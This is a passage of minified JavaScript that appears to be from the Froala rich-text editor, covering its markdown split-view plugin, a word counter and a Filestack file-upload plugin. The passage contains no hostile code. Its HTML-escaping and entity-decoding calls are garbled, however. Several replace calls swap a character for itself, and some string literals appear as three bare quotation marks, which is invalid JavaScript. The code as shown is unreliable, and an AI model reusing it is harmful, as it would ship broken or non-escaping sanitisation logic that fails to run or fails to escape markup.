]{1}(.+?)+/g,n=e.split("\n"),r=n,i=n.length-1,o=1;o<i;o++)null!==n[o].match(a)&&(null!==n[o-1].match(t)&&o<i-1&&null!==n[o+1].match(a)?(r[o-1]="<dl><dt>"+n[o-1]+"</dt>",r[o]="<dd>"+n[o].substring(2)+"</dd>"):null!==n[o-1].match(t)&&(o<i-1&&null===n[o+1].match(a)||o==i-1)?(r[o-1]="<dl><dt>"+n[o-1]+"</dt>",r[o]="<dd>"+n[o].substring(2)+"</dd></dl>"):o<i-1&&null!==n[o+1].match(a)?r[o]="<dd>"+n[o].substring(2)+"</dd>":r[o]="<dd>"+n[o].substring(2)+"</dd></dl>");return e=r.join("\n")}(e=function t(e){var n=e.indexOf("```"),r=0;-1<n&&(r=-1<(r=e.substring(n+1).indexOf("```"))?r+3:r);return e=e.replace(/^ {0,2}( ?-){3,}[ \t]*$/gm,function(e,t,a){return n<a&&a<r?"---":"<hr />\n"})}(e=function a(e){return-1<(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=e.split("</p>").join("</p>\n")).split("</div>").join("\n")).replace(/(<([^>]+)>)/gi,"")).replace(/>/gi,">")).replace(/</gi,"<")).split(""").join('"')).split("&").join("&")).split("'").join("'")).split(" ").join(" ")).replace(/\|+\n[^\|]/g,function(e){return e.replace("\n","\n\n")})).indexOf("Powered by Froala Editor")&&(e=e.replace("Powered by Froala Editor","")),e}(e)))),e=n.makeHtml(e),e=o.clean.html(e),o.$wp.find(l)[0].innerHTML=e}return{_init:function t(){if(function e(){o.events.on("contentChanged",function(){i&&E(o.html.get(!1,!1))},!0),o.events.$on(c(o.o_win),"resize",function(){i&&(l[0].style.width=o.$wp[0].clientWidth-o.$el[0].clientWidth+2+"px")}),o.events.on("paste.afterCleanup",function(e){if(i){var t=o.doc.createElement("div");t.innerHTML=e;for(var a,n=t.querySelectorAll("img"),r=0;r<n.length;r++)(a=n[r]).outerHTML=a.outerHTML.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'");e=t.innerHTML}return e})}(),n=new y.Converter({strikethrough:!0,tables:!0,tablesHeaderId:!0,simpleLineBreaks:!0,ghCodeBlocks:!0,tasklists:!0,customizedHeaderId:!0,requireSpaceBeforeHeadingText:!0,underline:!0}),o.$tb&&(a=o.$tb.find('.fr-command[data-cmd="markdown"]')),!o.$wp)return!1},refresh:function _(e){var t=i;e.toggleClass("fr-active",t).attr("aria-pressed",t)},toggle:function w(){i?function e(){f=o.html.get(!0,!0),o.opts.pastePlain=!1,o.$el.removeClass("fr-markdown-editor"),o.$wp.append(r[0].firstChild),c(r).remove(),o.$wp.find(s).remove(),o.$wp.find(l).remove(),o.$wp[0].lastChild.after(o.$placeholder[0]),o.$el.removeAttr("style"),o.size.refresh(),o.$tb.find(".fr-btn-grp > .fr-command, .fr-more-toolbar > .fr-command").not(a).removeClass("fr-disabled").attr("aria-disabled",!1),o.opts.iframe&&(o.$el=b,o.$wp=v,Object.keys(h).map(function(e){o.$el[0].setAttribute(e,h[e]),"class"!=e&&m[0].removeAttribute(e)}),o.$el[0].style.removeProperty("padding")),o.html.set(d),o.opts.iframe&&(o.$el=b,o.$wp=v,o.$placeholder=null,o.placeholder.show(),o.placeholder.refresh())}():function t(){var i;d=o.html.get(!0,!0),o.html.set(f),o.opts.pastePlain=!0,o.opts.iframe?(o.$el[0].removeAttribute("spellcheck"),Array.from(o.$el[0].attributes).map(function(e){var t=e.name,a=e.value;return"class"!=t&&(g[t]=a),h[t]=a,o.$el[0].removeAttribute(t)}),o.$el[0].style.padding=0,o.$el[0].innerHTML="",o.$placeholder.hide()):o.$el.addClass("fr-markdown-editor"),r=c('<div class="fr-wrapper-markdown" />'),o.opts.heightMin?r.css("min-height","".concat(o.opts.heightMin,"px")):r.css("min-height","200px"),o.opts.heightMax?(r.css("maxHeight","".concat(o.opts.heightMax,"px")),r.css("overflow","auto")):(r.css("maxHeight",""),r.css("overflow","")),o.opts.height&&(r.css("height","".concat(o.opts.height,"px")),r.css("overflow","auto"),r.css("minHeight",o.opts.height-o.helpers.getPX(o.$el.css("padding-top"))-o.helpers.getPX(o.$el.css("padding-bottom")))),o.opts.iframe?(u=c('<div class="fr-box fr-basic fr-top"></div>'),p=c('<div class="fr-markdown-wrapper"></div>'),m=c('<div class="fr-element fr-markdown-editor"><p><br></p></div>'),Object.keys(g).map(function(e){return m[0].setAttribute(e,g[e])}),f&&(m[0].innerHTML=f),r[0].appendChild(m[0]),p[0].appendChild(r[0]),u[0].appendChild(p[0]),1==c(o.$html.find("body")[0]).find(".fr-box").length?(o.$el.prevAll().filter(function(e){return!["CodeMirror cm-s-default CodeMirror-wrap","fr-code"].includes(e.className)}).remove(),o.$el[0].appendChild(r[0])):(o.$el[0].appendChild(u[0]),v=o.$wp,o.$wp=p),b=o.$el,o.$el=m):(o.$wp.append(r),r[0].appendChild(o.$el[0])),s=c('<div class="gutter-horizontal"><div class="e-resize-handler"><i class="fa fa-circle-thin" aria-hidden="true"></i></div></div>'),c(r).append(s[0]),l=c('<div class="fr-element fr-markdown-view"></div>'),c(r).append(l[0]),c(r).after(o.$placeholder[0]),o.$tb.find(".fr-btn-grp > .fr-command, .fr-more-toolbar > .fr-command, .fr-btn-grp > .fr-btn-wrap > .fr-command, .fr-more-toolbar > .fr-btn-wrap > .fr-command").not(a).filter(function(){return"fullscreen"!==c(this).data("cmd")&&"moreMisc"!==c(this).data("cmd")}).addClass("fr-disabled").attr("aria-disabled",!0),c(s).on("mousedown touchstart",function(e){i={e:e,offsetLeft:s[0].offsetLeft,offsetTop:s[0].offsetTop,firstWidth:o.$el[0].offsetWidth,secondWidth:l[0].offsetWidth};var a=function a(e){o.selection.clear();var t={x:e.clientX-i.e.clientX,y:e.clientY-i.e.clientY};t.x=Math.min(Math.max(t.x,-i.firstWidth),i.secondWidth),i.firstWidth+t.x<125||i.secondWidth-t.x<125||(s[0].style.left=i.offsetLeft+t.x+"px",o.$el[0].style.width=i.firstWidth+t.x+"px",l[0].style.width=i.secondWidth-t.x+"px")},n=function n(e){o.selection.clear();var t={x:e.changedTouches[0].clientX-i.e.changedTouches[0].clientX,y:e.changedTouches[0].clientY-i.e.changedTouches[0].clientY};t.x=Math.min(Math.max(t.x,-i.firstWidth),i.secondWidth),i.firstWidth+t.x<100||i.secondWidth-t.x<100||(s[0].style.left=i.offsetLeft+t.x+"px",o.$el[0].style.width=i.firstWidth+t.x+"px",l[0].style.width=i.secondWidth-t.x+"px")},t=function t(){document.onmousemove=document.onmouseup=null,document.ontouchmove=document.ontouchend=null},r=function r(){o.$doc[0].onmousemove=o.$doc[0].onmouseup=null,o.$doc[0].ontouchmove=o.$doc[0].ontouchend=null};o.opts.iframe&&o.markdown.isEnabled?(o.$doc[0].onmousemove=a,o.$doc[0].ontouchmove=n,o.$doc[0].onmouseup=r,o.$doc[0].ontouchend=r):(document.onmousemove=a,document.ontouchmove=n,document.onmouseup=t,document.ontouchend=t)}),E(f)}(),i=!i},isEnabled:function e(){return i}}},St.DefineIcon("markdown",{NAME:"markdown",SVG_KEY:"markdown"}),St.RegisterCommand("markdown",{title:"Markdown",undo:!1,focus:!1,toggle:!0,forcedRefresh:!0,accessibilityFocus:!0,callback:function(){this.markdown.toggle()},refresh:function(e){this.markdown.refresh(e)},plugin:"markdown"}),Object.assign(St.DEFAULTS,{wordCounterMax:-1,wordCounterCount:!0}),St.PLUGINS.wordCounter=function(p){var a,t=p.$;function u(){var e=p.el.innerText.toString();e=(e=(e=(e=(e=(e=(e=(e=e.replace(/(^\s*)|(\s*$)/gi," ")).replace(/\u00a0/g," ")).replace(/[ ]{2,}/gi," ")).replace(/\n /,"\n")).replace(/[\u200A\u200C-\u200D\uFEFF\u202F\u2000-\u2009\u205F\u3000\u1680\u00A0\u0020]/g," ")).replace(/[\u200B]/g,"")).replace(/\t+/g," ")).split(" ").join("\n");var t=p.$el.find(".fr-pagebreak"),a=e.split(/\r?\n/),n=0;return a.forEach(function(e){0<(e=e.replace(/\s/g,"")).length&&n++}),n-2*t.length}function e(e){var t=!1;if(p.opts.wordCounterMax<0)return!0;if(u()<p.opts.wordCounterMax)return!0;var a=e.which,n=p.selection.get(),r=n.focusOffset,i=n.focusNode.textContent,o=(i=i.replace(/\u00a0/g," ")).toUpperCase().charCodeAt(r-1),s=i.toUpperCase().charCodeAt(r);return n.focusNode.data||(o=s=NaN),!function l(e,t){if(p.keys.isCharacter(e)&&p.keys.isCharacter(t)&&e!=St.KEYCODE.SPACE&&t!=St.KEYCODE.SPACE)return!0;return!1}(o,s)||a!==St.KEYCODE.ENTER&&a!==St.KEYCODE.SPACE||(t=!0),(function c(e,t){return e===St.KEYCODE.SPACE&&t===St.KEYCODE.SPACE}(o,s)||function d(e,t){if(isNaN(e)&&t===St.KEYCODE.SPACE||e===St.KEYCODE.SPACE&&isNaN(t))return!0;return!1}(o,s)||function f(e,t){if(isNaN(e)&&isNaN(t))return!0;return!1}(o,s))&&p.keys.isCharacter(a)&&a!=St.KEYCODE.SPACE&&(t=!0),u()>p.opts.wordCounterMax&&(p.keys.isCharacter(a)||a===St.KEYCODE.ENTER)&&(t=!0),!(!p.keys.ctrlKey(e)&&t||a===St.KEYCODE.IME)||(e.preventDefault(),e.stopPropagation(),p.events.trigger("wordCounter.exceeded"),!1)}function n(){if(p.opts.wordCounterCount){var e=u()+(0<p.opts.wordCounterMax?"/"+p.opts.wordCounterMax:"");a.text("".concat(p.language.translate("Words")," : ").concat(e)),p.opts.toolbarBottom&&a.css("margin-bottom",p.$tb.outerHeight(!0));var t=p.$wp.get(0).offsetWidth-p.$wp.get(0).clientWidth;0<=t&&("rtl"==p.opts.direction?a.css("margin-left",t):a.css("margin-right",t))}}function r(e){return p.opts.wordCounterMax<0?e:t("<div>").html(e).text().split(" ").length+u()<=p.opts.wordCounterMax?e:(p.events.trigger("wordCounter.exceeded"),"")}return{_init:function i(){return!!p.$wp&&!!p.opts.wordCounterCount&&((a=t(document.createElement("span")).attr("class","fr-counter fr-wCounter")).css("bottom",p.$wp.css("border-bottom-width")),p.$second_tb?p.$second_tb.append(a):p.$wp.append(a),p.events.on("keydown",e,!0),p.events.on("paste.afterCleanup",r),p.events.on("keyup contentChanged input",function(){p.events.trigger("wordCounter.update")}),p.events.on("wordCounter.update",n),p.events.trigger("wordCounter.update"),void p.events.on("destroy",function(){t(p.o_win).off("resize.char".concat(p.id)),a.removeData().remove(),a=null}))},wordCount:u}},Object.assign(St.POPUP_TEMPLATES,{"filestackPlugin.error":"[_UPLOAD_LAYER_]"}),St.FILESTACK_PICKER_OPTIONS_MEDIA_MAX_SUPPORTED=[".pdf",".docx",".ppt",".pptx",".doc",".xlsx",".xls",".csv",".txt","image/jpeg","image/png","image/jpg","image/gif","image/webp","video/*","audio/*","mp3"],St.REQUIRED_PLUGINS=["image","video","file","filesManager"],St.FILESTACK_PICKER_OPTIONS_IMAGE_ONLY_SUPPORTED=["image/jpeg","image/png","image/jpg","image/gif","image/webp"],St.FILESTACK_DEFAULT_ACCEPT_FILE_TYPES=[".pdf",".docx",".ppt",".pptx",".doc",".xlsx",".xls",".csv",".txt"],St.FILESTACK_PICKER_OPTIONS_VIDEO_ONLY_SUPPORTED=["video/*"],St.FILESTACK_PICKER_OPTIONS_FROMSOURCES_MAX_SUPPORTED=["local_file_system","imagesearch","url","googledrive","facebook","instagram","dropbox"],St.FILESTACK_PICKER_DEFAULT_OPTIONS={displayMode:"overlay",uploadInBackground:!1,stage:{cname:"stage.filestackapi.com"}},Object.assign(St.DEFAULTS,{filestackOptions:{}}),St.FILE_STACK_URL_PART="filestack",St.PLUGINS.filestack=function(f){var r,p,t=["pdf","msword","vnd.openxmlformats-officedocument.wordprocessingml.document","vnd.ms-excel","vnd.openxmlformats-officedocument.spreadsheetml.sheet","vnd.ms-powerpoint","vnd.openxmlformats-officedocument.presentationml.presentation","csv","plain","ogg"],u=1,o=4,g=5,h=6,s=7,l={};function m(e,t,a){v(a?f.language.translate(l[e])+"\nResponse: "+JSON.stringify(a):f.language.translate(l[e]),t)}function v(e,t,a,n){var r;if((r=f.popups.get("filestackPlugin.error"))||(r=d(e)),a&&(r.find(".fr-image-progress-bar-layer").addClass("fr-active"),r.find(".fr-error-message").addClass("fr-layer"),r.find(".fr-buttons").hide()),!!f.$tb){var i;"openFilePicker"===t?i="openFilePicker":"openFilePickerReplaceImageOnly"===t||"openFilePickerImage"===t?i="insertImage":"openFilePickerReplaceVideoOnly"===t||"openFilePickerVideo"===t?i="insertVideo":"openFilePickerVideoOnly"===t?i="openFilePickerVideoOnly":"openFilePickerImageOnly"===t?i="openFilePickerImageOnly":"openFilePickerFile"===t&&(i="openFilePickerFile");var o=f.$tb.find(".fr-command[data-cmd='".concat(i,"']"));if(a)f.popups.show("filestackPlugin.error",n.x,n.y);else if(!r.hasClass("fr-active")&&(f.popups.refresh("filestackPlugin.error"),f.popups.setContainer("filestackPlugin.error",f.$tb),o.isVisible()||f.opts.toolbarInline)){var s=f.opts.toolbarInline&&["openFilePickerImage","openFilePickerVideo"].includes(t)?f.$(".fr-popup")[0].style:f.button.getPosition(o),l=s.left,c=s.top;f.popups.show("filestackPlugin.error",l,c,o.outerHeight())}}}function b(){var e="",t=function a(){var t=[];return St.REQUIRED_PLUGINS.forEach(function(e){f.opts.pluginsEnabled.indexOf(e)<0&&t.push(e.charAt(0).toUpperCase()+e.slice(1))}),t}();return e=t.join(", "),1<t.length?e+=" plugin are":e+=" plugin is",e}function d(e){var t=e.includes("Do you want to enable"),a=t?"<div style='text-align:right;' class='fr-buttons'>\n <button class='fr-trim-button fr-plugins-enable'>".concat(f.language.translate("Enable"),"</button> \n <button class='fr-trim-button fr-plugins-cancel'>").concat(f.language.translate("Cancel"),"</button>\n </div>"):"<div style='text-align:right;' class='fr-buttons'>\n <button class='fr-trim-button fr-plugins-ok'>".concat(f.language.translate("OK"),"</button> \n </div>"),n={upload_layer:"".concat('<div class="fr-image-progress-bar-layer fr-layer"><h3 tabIndex="-1" class="fr-message">Uploading</h3><div class="fr-loader fr-indeterminate"><span class="fr-progress"></span></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-dismiss" data-cmd="imageDismissError" tabIndex="2" role="button">OK</button></div></div>',"\n <div style= 'padding:10px'>\n <div class = 'fr-message fr-error-message'><h3 style ='font-size: 16px; margin: 10px 10px;font-weight: normal;'>").concat(f.language.translate(e),"</h3></div>\n ").concat(a,"\n ")},r=f.popups.create("filestackPlugin.error",n);if(t){var i=r.find(".fr-plugins-enable")[0],o=r.find(".fr-plugins-cancel")[0];i.addEventListener("click",function(e){!function t(){St.REQUIRED_PLUGINS.forEach(function(e){f.opts.pluginsEnabled.indexOf(e)<0&&f.opts.pluginsEnabled.push(e)})}(),function a(e){for(var t in e)if(!f[t]){if(St.PLUGINS[t]&&f.opts.pluginsEnabled.indexOf(t)<0)continue;f[t]=new e[t](f),f[t]._init&&f[t]._init()}}(St.PLUGINS),R(),f.events.trigger("filestack.pluginsEnabled"),f.popups.hide("filestackPlugin.error"),y(),e.preventDefault()}),o.addEventListener("click",function(e){f.popups.hide("filestackPlugin.error"),y(),e.preventDefault()})}else{var s=r.find(".fr-plugins-ok")[0];s&&s.addEventListener("click",function(e){f.popups.hide("filestackPlugin.error"),e.preventDefault()})}return r}function E(){var t=!0;return St.REQUIRED_PLUGINS.forEach(function(e){f.opts.pluginsEnabled.indexOf(e)<0&&(t=!1)}),t}l[u]="Filestack api is missing",l[2]="The Filestack options are missing. Please check filestackOptions",l[3]="The Filestack picker is missing. Please check filestackOption",l[o]="Image upload to filestack failed while processing the request",l[g]="Filestack plugin is currently not supported on this browser",l[h]="The selected media types are not supported",l[s]="The selected source types are not supported by Filestack",l[8]="Error opening Filestack picker due to invalid picker parameters",l[9]="This image is not supported for image transformation",l[10]="The Filestack client is not created yet";var _=f.opts.filestackOptions.filestackAPI;if(_)try{p=f.opts.filestackOptions.staging?filestack.init(_,St.FILESTACK_PICKER_DEFAULT_OPTIONS.stage):filestack.init(_,St.FILESTACK_PICKER_DEFAULT_OPTIONS)}catch(L){0===!Object.keys(f.opts.filestackOptions).length&&m(10)}else;function w(){var e=navigator.userAgent,t=f||"",a=t.helpers,n=t.browser;if(a.isMac()&&n.mozilla)return!1;var r=-1!=e.indexOf("Windows NT 10.")||-1!=e.indexOf("Windows NT 7."),i=e.match(/(chrome|safari|firefox|trident(?=\/))\/?\s*(\d+)/i)[2]||[],o=null;return 0<=e.indexOf("Android")&&(o=parseFloat(e.slice(e.indexOf("Android")+8))),!!((a.isMac()||a.isIOS())&&12<a.getSafariVersion())||(!!(r&&n.chrome&&70<i||-1!=e.indexOf("Edg")&&40<i)||!!(a.isAndroid()&&6<o&&n.chrome&&70<i))}function c(e){return!1===f.events.trigger("filestack.uploadedToFilestack",[e],!0)?(f.edit.on(),!1):e}function y(e){var t=f.button.getButtons('button[data-cmd="openFilePicker"]'),a=f.button.getButtons('button[data-cmd="openFilePickerImageOnly"]'),n=f.button.getButtons('button[data-cmd="openFilePickerVideoOnly"]'),r=f.button.getButtons('button[data-cmd="openFilePickerFile"]');t.removeClass("fr-filestack-active"),a.removeClass("fr-filestack-active"),n.removeClass("fr-filestack-active"),r.removeClass("fr-filestack-active"),!1===f.events.trigger("filestack.filestackPickerClosed",[e],!0)&&f.edit.on()}function A(){O=I=null,f.selection.restore()}function C(e){m(o,e),!1===f.events.trigger("filestack.uploadFailedToFilestack",[e],!0)&&f.edit.on()}function T(e){return t.includes(e.split("/")[1])}function k(e){var t=!1;f.opts.imageInsertButtons=f.opts.imageInsertButtons.map(function(e){return"openFilePickerImage"===e?(t=!0,"openFilePickerReplaceImageOnly"):e}),t&&f.events.trigger("filestack-init"),f.popups.hide("image.edit");var a=f.doc.querySelector(".fr-popup");a&&a.remove(),f.opts.pluginsEnabled.includes("filestack")&&function n(e){f.opts.imageEditButtons.includes("filestackIcon")&&(r=f.opts.imageEditButtons.indexOf("filestackIcon"));!f.opts.imageEditButtons.includes("filestackIcon")&&e&&f.opts.pluginsEnabled.includes("filestack")?(r||0===r)&&f.opts.imageEditButtons.splice(r,0,"filestackIcon"):e||(f.opts.imageEditButtons=f.opts.imageEditButtons.filter(function(e){return"filestackIcon"!=e}));f.opts.filestackOptions.uploadToFilestackOnly&&e?f.opts.imageEditButtons=f.opts.imageEditButtons.filter(function(e){return"imageTUI"!=e}):f.opts.pluginsEnabled.includes("imageTUI")&&!f.opts.imageEditButtons.includes("imageTUI")&&f.opts.imageEditButtons.push("imageTUI")}(e),f.events.trigger("filestack-init-edit")}function S(){var t=!1;f.opts.videoInsertButtons=f.opts.videoInsertButtons.map(function(e){return"openFilePickerVideo"===e?(t=!0,"openFilePickerReplaceVideoOnly"):e}),t&&f.events.trigger("filestack-init-video")}function R(){St.DEFAULTS.imageInsertButtons&&!St.DEFAULTS.imageInsertButtons.includes("openFilePickerImage")&&St.DEFAULTS.imageInsertButtons.push("openFilePickerImage"),St.DEFAULTS.imageEditButtons&&!St.DEFAULTS.imageEditButtons.includes("filestackIcon")&&St.DEFAULTS.imageEditButtons.push("filestackIcon"),St.DEFAULTS.videoInsertButtons&&!St.DEFAULTS.videoInsertButtons.includes("openFilePickerVideo")&&St.DEFAULTS.videoInsertButtons.push("openFilePickerVideo"),St.DEFAULTS.filesInsertButtons&&!St.DEFAULTS.filesInsertButtons.includes("openFilePicker")&&St.DEFAULTS.filesInsertButtons.push("openFilePicker"),St.DEFAULTS.fileInsertButtons&&!St.DEFAULTS.fileInsertButtons.includes("openFilePickerFile")&&St.DEFAULTS.fileInsertButtons.push("openFilePickerFile"),f.popups.onHide("image.insert",function(){var e=f.button.getButtons('button[data-cmd="openFilePickerImage"]'),t=f.button.getButtons('button[data-cmd="openFilePickerReplaceImageOnly"]');e.removeClass("fr-filestack-active"),t.removeClass("fr-filestack-active")}),f.popups.onHide("video.insert",function(){var e=f.button.getButtons('button[data-cmd="openFilePickerVideo"]'),t=f.button.getButtons('button[data-cmd="openFilePickerReplaceVideoOnly"]');e.removeClass("fr-filestack-active"),t.removeClass("fr-filestack-active")}),f.popups.onHide("filesManager.insert",function(){f.button.getButtons('button[data-cmd="openFilePicker"]').removeClass("fr-filestack-active")});var e=f.opts.filestackOptions.pickerOptions?Object.assign({},f.opts.filestackOptions.pickerOptions,{accept:f.opts.filestackOptions.pickerOptions.accept?f.opts.filestackOptions.pickerOptions.accept:[],fromSources:f.opts.filestackOptions.pickerOptions.fromSources?f.opts.filestackOptions.pickerOptions.fromSources:[]}):{accept:[],fromSources:[]};e.fromSources=function o(t,e){if(!e||0===e.length)return t;var a=[];return e.forEach(function(e){-1<t.indexOf(e)&&a.push(e)}),0===a.length&&m(s),a}(St.FILESTACK_PICKER_OPTIONS_FROMSOURCES_MAX_SUPPORTED,e.fromSources),e.onOpen=function(e){f.events.on("window.mouseup",function(e){if(document.getElementById("__filestack-picker")&&f.helpers.isMobile())return e.preventDefault(),e.stopPropagation(),!1},!0),!1===f.events.trigger("filestack.filestackPickerOpened",[e],!0)&&f.edit.on();var t=f.selection.get();t&&(t.anchorNode,t.anchorOffset)},e.onUploadDone=function(e){return function o(e){if("undefined"!=typeof e.filesUploaded){var n,t=He(e.filesUploaded);try{var a,r=function r(){var t=n.value;if(T(t.mimetype)||t.mimetype.includes("image/jpeg")||t.mimetype.includes("image/png")||t.mimetype.includes("image/")||t.mimetype.includes("video/")||t.mimetype.includes("audio/mpeg")){t.mimetype.includes("image/")&&k(!0),t.mimetype.includes("video/")&&S();var a=function a(e){t.mimetype.includes("image")?e.next().is("br")&&e.next().remove():(e.next()&&e.next().is("br")&&e.next().remove(),e.prev()&&e.prev().is("br")&&e.prev().remove()),f.selection.setAfter(e[0])};if(!c(e)||I||O||(t.mimetype.includes("ogg")?f.file.insert(t.url,t.filename,null):t.mimetype.includes("image")?(f.image.insert(t.url,!1,null,null),f.events.on("image.loaded",a)):t.mimetype.includes("video")?(f.events.on("video.inserted",a),f.video.insertHtmlVideo(t.url,null,null,null,null)):t.mimetype.includes("audio/mpeg")?(f.events.on("video.inserted",a),f.video.insertHtmlVideo(t.url,null,null,null,null,"audio")):T(t.mimetype)&&f.file.insert(t.url,t.filename,null)),I)return f.image.insert(t.url,!1,null,I),I=null,{v:void 0};if(O)return f.video.insertHtmlVideo(t.url,!1,null,O),O=null,{v:void 0}}};for(t.s();!(n=t.n()).done;)if(a=r())return a.v}catch(i){t.e(i)}finally{t.f()}}}(e)},e.onFileUploadFailed=C,e.onClose=y,e.onCancel=A,f.opts.filestackOptions.pickerOptions=e;var r=function r(e){var t="IMG"===e.target.tagName,a="VIDEO"===e.target.tagName,n=e.target.src&&e.target.src.includes(St.FILE_STACK_URL_PART)&&!e.target.src.includes("blob:");t?k(n):a&&S()},t=f.helpers.isMobile()&&!f.helpers.isWindowsPhone();if(f.events.on(t?"touchend":"click",r,t),f.events.on("drop",function(){k(!1),S()},!0),f.opts.filestackOptions.uploadToFilestackOnly&&!f.opts.iframe&&!f.opts.fullPage){if(p&&w()&&E()){var a=filestackDnD.init(p,f.el);a&&a.on("uploadFileFinish",function(e){if(e.files[0].mimetype.includes("image/")&&k(!0),e.files[0].mimetype.includes("video/")&&S(),T(e.files[0].mimetype)||e.files[0].mimetype.includes("pdf")||e.files[0].mimetype.includes("image/jpeg")||e.files[0].mimetype.includes("image/png")||e.files[0].mimetype.includes("image/")||e.files[0].mimetype.includes("video/")||e.files[0].name&&e.files[0].name.includes(".ogg")){var t=function t(e){f.popups.hide("filestackPlugin.error"),f.selection.setAfter(e[0])};if(e.files[0].mimetype.includes("image"))c(e)&&(f.image.insert(e.data.url,!1),f.events.on("image.inserted",t));else e.files[0].mimetype.includes("video")?(f.video.insertHtmlVideo(e.data.url),f.events.on("video.inserted",t)):(e.files[0].mimetype.includes("pdf")||T(e.files[0].mimetype)||e.files[0].name&&e.files[0].name.includes(".ogg"))&&f.file.insert(e.data.url,e.data._file.name,null);f.popups.hide("filestackPlugin.error")}})}f.events.on("drop",function(e){return p?w()?E()?(f.markers.remove(),f.markers.insertAtPoint(e.originalEvent),f.$el.find(".fr-marker").replaceWith(St.MARKERS),0===f.$el.find(".fr-marker").length&&f.selection.setAtEnd(f.el),v("Image loading","",!0,{x:e.originalEvent.x,y:e.originalEvent.y})):v(b()+" not enabled. Do you want to enable?","openFilePicker"):(d(l[g]),f.popups.show("filestackPlugin.error",e.originalEvent.x,e.originalEvent.y)):(d(l[u]),f.popups.show("filestackPlugin.error",e.originalEvent.x,e.originalEvent.y)),e.preventDefault(),e.stopPropagation(),!1},!0)}var n=document.getElementById("insertImage-".concat(f.id));n&&n.addEventListener("mouseup",function(){var t=!1;f.opts.imageInsertButtons=f.opts.imageInsertButtons.map(function(e){return"openFilePickerReplaceImageOnly"===e?(t=!0,"openFilePickerImage"):e}),t&&f.events.trigger("filestack-init")});var i=document.getElementById("insertVideo-".concat(f.id));i&&i.addEventListener("mouseup",function(){var t=!1;f.opts.videoInsertButtons=f.opts.videoInsertButtons.map(function(e){return"openFilePickerReplaceVideoOnly"===e?(t=!0,"openFilePickerVideo"):e}),t&&f.events.trigger("filestack-init-video")}),f.events.on("image.loaded",function(e){(!e[0].src.includes(St.FILE_STACK_URL_PART)||e[0].src.includes(St.FILE_STACK_URL_PART)&&e[0].src.includes("blob:"))&&setTimeout(function(){var e=document.querySelector("#filestackIcon-".concat(f.id));e&&e.parentNode.removeChild(e)},10)})}return f.events.on("filestack.imageTransformation.click",function(){!function i(e){I=e;var a=f.image.get()[0].currentSrc||"",t=filestack.init(_),n=new FilestackTransform(t);n.setConfigKey("output.blob",!0),n.open(a).then(function(e){t.upload(e).then(function(e){var t=f.selection.save();void 0!==a&&(f.image.insert(e.url,!1,null,I),I=null,f.selection.restore(t))}),t.on("upload.error",function(){m(o)})}),f.events.on("keydown",function(){var e=document.getElementsByClassName("fs-transforms-container");f.helpers.isMobile()&&e&&e[0].childNodes&&e[0].childNodes.length&&(I=null)});var r=f.button.getButtons('button[data-cmd="filestackIcon"]');n.on("canvas:save",function(){r.removeClass("fr-filestack-active"),v("Image loading","",!0,{x:I.offset().left,y:I.offset().top+I.height()})}),n.on("canvas:cancel",function(){r.removeClass("fr-filestack-active")})}(f.image.get())}),f.events.on("filestack.imageTransformation.error",function(){m(9)}),{_init:R,showFilestackPopup:function x(e,t,a){if(!e)return!1;var n;if("openFilePicker"===e||"openFilePickerFile"===e?n=St.FILESTACK_PICKER_OPTIONS_MEDIA_MAX_SUPPORTED:"openFilePickerImageOnly"===e||"openFilePickerReplaceImageOnly"===e||"openFilePickerImage"===e?n=St.FILESTACK_PICKER_OPTIONS_IMAGE_ONLY_SUPPORTED:"openFilePickerVideoOnly"!==e&&"openFilePickerReplaceVideoOnly"!==e&&"openFilePickerVideo"!==e||(n=St.FILESTACK_PICKER_OPTIONS_VIDEO_ONLY_SUPPORTED),!_)return m(u,e),!1;if(!w())return m(g,e),!1;if(!E())return v(b()+" not enabled. Do you want to enable?",e),!1;if(!p&&0===!Object.keys(f.opts.filestackOptions).length)return m(10,e),!1;t&&(I=t),a&&(O=a);var r,i=f.opts.filestackOptions.pickerOptions?Object.assign({},f.opts.filestackOptions.pickerOptions,{accept:f.opts.filestackOptions.pickerOptions.accept?f.opts.filestackOptions.pickerOptions.accept:[],fromSources:f.opts.filestackOptions.pickerOptions.fromSources?f.opts.filestackOptions.pickerOptions.fromSources:[]}):{accept:[],fromSources:[]};r=f.opts.fileAllowedTypes&&1===f.opts.fileAllowedTypes.length&&"*"===f.opts.fileAllowedTypes[0]?St.FILESTACK_PICKER_OPTIONS_MEDIA_MAX_SUPPORTED:f.opts.fileAllowedTypes,0===i.accept.length&&(i.accept=St.FILESTACK_PICKER_OPTIONS_MEDIA_MAX_SUPPORTED);var o=St.FILESTACK_PICKER_OPTIONS_VIDEO_ONLY_SUPPORTED;f.opts.videoAllowedTypes&&(o=f.opts.videoAllowedTypes.map(function(e){return"mp3"===e?"audio/".concat(e):"video/".concat(e)})),"openFilePickerImageOnly"===e||"openFilePickerReplaceImageOnly"===e||"openFilePickerImage"===e?n=f.opts.imageAllowedTypes.map(function(e){return"image/".concat(e)}):"openFilePickerVideoOnly"===e||"openFilePickerReplaceVideoOnly"===e||"openFilePickerVideo"===e?n=o:"openFilePickerFile"===e&&(n=r);var s=i.maxFiles;(t||a)&&(s=1);var l="openFilePicker"===e?function d(t,e){if(!e||0===e.length)return t;var a=[];return e.forEach(function(e){-1<t.indexOf(e)&&a.push(e)}),0===a.length&&m(h),a}(n,i.accept):n,c=Object.assign({},i,{accept:l,maxFiles:s});try{p.picker(c).open(),f.popups.hideAll(),f.selection.save()}catch(L){0===Object.keys(f.opts.filestackOptions).length&&m(8,e)}},isBrowserSupported:w}},St.DefineIcon("filestackIcon",{ALT:"Open Filestack file picker",NAME:"filestack",SVG_KEY:"filestackIcon"}),St.DefineIcon("filestackIconAdd",{ALT:"Open Filestack file picker",NAME:"filestackAdd",SVG_KEY:"filestackIconAdd"}),St.DefineIcon("imageTransformations",{ALT:"Open Filestack image transformations",NAME:"imageTransformations",SVG_KEY:"imageTransformations"}),St.DefineIcon("imageFilestackOnly",{template:"svgMultiplePath",PATHS:'<path d="M11.1 15.8h7.7V5.7H5.1v4.2H3.4V5.7c0-.9.8-1.7 1.7-1.7h13.7c.9 0 1.7.8 1.7 1.7v10.1c0 .9-.8 1.7-1.7 1.7h-7.7v-1.7Zm0-2.5 2.6-3.4h.2l3.3 4.2h-6.1v-.8ZM8.9 6.9c.7 0 1.3.6 1.3 1.3s-.6 1.3-1.3 1.3-1.3-.6-1.3-1.3.6-1.3 1.3-1.3Z"/><path 